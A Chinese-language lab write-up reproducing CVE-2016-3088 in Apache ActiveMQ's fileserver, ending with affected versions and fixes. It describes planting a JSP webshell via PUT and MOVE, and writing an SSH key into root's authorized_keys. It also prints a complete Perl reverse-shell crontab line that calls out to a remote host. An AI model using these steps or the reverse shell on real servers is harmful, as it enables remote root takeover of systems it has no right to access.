ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

前车之鉴

P师傅介绍说了很多技巧:

ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录;

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作;

利用方法:写入webshell,好处是门槛低更方便,但fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;

环境搭建

使用的是 vulhub 的docker环境,github:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

使用docker-compose up -d 直接运行在vps上;

CVE-2016-3088-1.png

Webshell

访问fileserver目录并抓包;对错误路径进行PUT任意数据,可得到绝对路径;但实际还得看环境,vulhub 的并不能爆出绝对路径,只有登陆后台访问/admin/test/systemProperties.jsp拿绝对路径;

PUT上传又只能是fileserver目录,而fileserver目录不解析jsp,这里需要将txt格式的JspWebshell在MOVE到admin或者api路径下;

实际操作:

CVE-2016-3088-5.png

CVE-2016-3088-6.png

则绝对路径为:/opt/apache-activemq-5.11.1/webapps/

PUT上传Jsp的Webshell到fileserver目录;

CVE-2016-3088-3.png

确实不解析;

CVE-2016-3088-4.png

然后MOVE到admin目录下来执行;

CVE-2016-3088-7.png

即可GetShell;

CVE-2016-3088-8.png

访问shell是需要登陆的,如果后台修改了默认管理密码(admin/admin),那么gg;

ActiveMQ 5.7.0 或者更低版本,可以直接报错出路径,而且访问不需要登陆后台,具体见知道创宇404实验室PAPER:https://www.seebug.org/vuldb/ssvid-96268

SSH 公钥

因为漏洞是可以上传并移动的,那么也可以上传SSH公钥至服务器,来进行免密钥登陆;

.ssh目录下生成密钥;

➜  ls
known_hosts  known_hosts2
➜  ssh-keygen -t rsa 
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/go0s/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /Users/go0s/.ssh/id_rsa.
Your public key has been saved in /Users/go0s/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:BErhvw8WeKwi//qWqfuzljxeBGBDJyog34wWtGtE+C0 [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|o+X +..          |
|+= & . .         |
|o.*.*   .        |
|.oE..= .         |
|  o.. * S        |
| .   + o         |
|. ...+=          |
| o .Xo o         |
|  [email protected]*+  .        |
+----[SHA256]-----+
➜  ls
id_rsa       id_rsa.pub   known_hosts  known_hosts2

然后上传id_rsa.pub到服务器,然后移动到/root/.ssh/并重命名为authorized_keys

CVE-2016-3088-9.png

CVE-2016-3088-10.png

完成之后直接使用ssh xxx.xxx.xxx.xxx即可登录服务器;

由于环境搭建在vps的docker中,开始时并没有映射出22端口,而且 vulhub 这个环境中没有ssh服务,这里不倒腾了;

crontab

利用定时器,自动化弹shell;

注意,换行一定要\n,不能是\r\n,否则crontab执行会失败;

这里利用perl语言写的反弹到VPS上;

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

CVE-2016-3088-12.png

CVE-2016-3088-13.png

等会即可拿到反弹结果;

CVE-2016-3088-14.png

由于是root运行的服务,这里才可写crotab,拿到的shell权限也为root;

如果非root启动,此方法同写入SSH一样,gg;

e.g.

crontab格式:

minute   hour   day   month   week   command     顺序:分 时 日 月 周 命令
星号(*):代表所有可能的值;
文件写至`/etc/crontab.d/`中;
具体参考:http://wangchujiang.com/linux-command/c/crontab.html

每1分钟执行一次command:
* * * * * command

漏洞影响

Apache ActiveMQ 5.x ~ 5.14.0

在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之);

在5.14.0版本以后,彻底删除了fileserver应用;

修复方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本;

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能;

CVE-2016-3088-11.png

参考博文

https://www.seebug.org/vuldb/ssvid-96268 https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088